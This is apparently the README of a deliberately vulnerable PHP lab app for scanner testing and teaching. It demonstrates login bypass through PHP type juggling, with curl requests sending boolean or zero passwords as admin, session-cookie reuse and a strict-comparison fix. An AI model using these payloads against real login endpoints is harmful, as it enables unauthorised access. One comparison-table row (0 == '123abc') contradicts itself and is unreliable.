An intentionally vulnerable PHP application that demonstrates authentication bypass via PHP type juggling. Built for security scanner testing and educational purposes.
WARNING: Do not deploy this application to any public or production environment. It contains deliberate security vulnerabilities.
docker-compose upVisit http://localhost:8080.
The JSON API endpoint uses json_decode() which preserves native JSON types. Combined with PHP's loose comparison (==), sending true as the password bypasses authentication because true == "s3cur3P@ssw0rd!" evaluates to true.
Works on: PHP 7.x and 8.x
curl -s -X POST http://localhost:8080/api/login.php \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":true}'In PHP 7.x, comparing the integer 0 to a non-numeric string with == evaluates to true because PHP coerces the string to 0.
Works on: PHP 7.x only (fixed in PHP 8.0)
curl -s -X POST http://localhost:8080/api/login.php \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":0}'PHP's == operator performs type coercion:
| Expression | Result | Why |
|---|---|---|
true == "s3cur3P@ssw0rd!" |
true |
Any non-empty string is truthy |
0 == "s3cur3P@ssw0rd!" |
true |
String coerced to int 0 (PHP 7.x) |
true == "" |
false |
Empty string is falsy |
0 == "123abc" |
true |
String starts with digits → int 123? No — PHP 7 coerces "s3cur3..." to 0 |
The fix is simple: use === (strict comparison) instead of ==.
| File | Purpose |
|---|---|
config.php |
Hardcoded credentials and session config |
index.php |
HTML login form (loose comparison, but POST values are strings) |
api/login.php |
JSON API login — primary vulnerability |
dashboard.php |
Protected page shown after successful login |
docker-compose.yml |
PHP 7.4 Apache container on port 8080 |
- Start the app:
docker-compose up - Try the boolean bypass:
curl -v -X POST http://localhost:8080/api/login.php \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":true}'
- Confirm the response contains
"success": trueand a session ID. - Use the session cookie to access the dashboard:
curl -b "PHPSESSID=<session_id_from_response>" http://localhost:8080/dashboard.php